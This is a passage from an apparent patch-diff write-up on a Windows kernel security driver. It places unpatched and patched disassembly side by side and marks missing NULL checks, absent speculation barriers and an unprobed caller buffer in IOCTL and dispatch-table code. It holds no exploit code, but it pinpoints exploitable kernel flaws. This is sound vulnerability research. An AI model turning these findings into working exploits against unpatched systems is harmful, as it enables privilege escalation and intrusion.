&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026261&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026267&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002626A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00262B9&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; upper bound only&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002626C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; entry — NO NULL check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002627D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; fn ptr (offset 0x38) — NO NULL check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026281&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched&lt;/strong&gt; (&lt;code&gt;@ 0x180029D00&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D11&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; NULL check phContext&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D14&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_180029DBC&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; SEC_E_INVALID_HANDLE&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D1A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; NULL check message arg&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D1D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_180029DBC&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lfence&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; NEW&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D71&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; NEW: reload table base&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; entry&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; NEW: NULL check entry&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029DDF&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; fn ptr (offset 0x38)&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; NEW: NULL check fn ptr&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029DD1&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;D96&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;_guard_dispatch_icall&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;QuerySecurityContextToken — Unpatched&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched&lt;/strong&gt; (&lt;code&gt;@ 0x1C0026010&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002604C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; table base&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026053&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026056&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C002656A&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002605C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; *phContext — NO NULL check on rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002605F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026065&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026068&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00260D8&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; upper bound only&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002606A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; entry — NO NULL check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002607A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; fn ptr (offset 0x40) — NO NULL check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002607E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;
&lt;span class="c1"&gt;; on success, NtDuplicateObject duplicates the returned token handle at 0x1C00260B2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched&lt;/strong&gt; (&lt;code&gt;@ 0x180029390&lt;/code&gt;): adds a NULL check on &lt;code&gt;phContext&lt;/code&gt; and delegates the dispatch to &lt;code&gt;KernelPackageCallValidatorWorkers::CallValidator&amp;lt;…&amp;gt;::InvokeById&lt;/code&gt; at &lt;code&gt;0x180029C10&lt;/code&gt;, which performs the bounds check, &lt;code&gt;lfence&lt;/code&gt;, table reload, entry-NULL and function-pointer-NULL checks:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- InvokeById (0x180029C10), offset-0x40 slot ----&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; count&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C66&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029CE7&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C6B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lfence&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; speculation barrier&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; reload table base&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C75&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; entry&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; NULL check entry&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029CE7&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C7E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; fn ptr (offset 0x40)&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C82&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; NULL check fn ptr&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029CB9&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;C90&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;_guard_dispatch_icall&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;KsecIoctlFreeVm — added ProbeForRead (Finding 6)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched&lt;/strong&gt; (&lt;code&gt;@ 0x1C000E91C&lt;/code&gt;) reads the caller buffer with no probe (leads straight to &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; at &lt;code&gt;0x1C000E963&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patched&lt;/strong&gt; (&lt;code&gt;@ 0x18000E168&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;000000018000&lt;/span&gt;&lt;span class="nf"&gt;E184&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; Length&lt;/span&gt;
&lt;span class="err"&gt;000000018000&lt;/span&gt;&lt;span class="nf"&gt;E189&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="err"&gt;000000018000&lt;/span&gt;&lt;span class="nf"&gt;E18C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_18000E313&lt;/span&gt;
&lt;span class="err"&gt;000000018000&lt;/span&gt;&lt;span class="nf"&gt;E192&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx-8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Alignment = 8&lt;/span&gt;
&lt;span class="err"&gt;000000018000&lt;/span&gt;&lt;span class="nf"&gt;E196&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ProbeForRead&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; NEW&lt;/span&gt;
&lt;span class="err"&gt;000000018000&lt;/span&gt;&lt;span class="nf"&gt;E1A2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;; deref of caller buffer AFTER probe&lt;/span&gt;
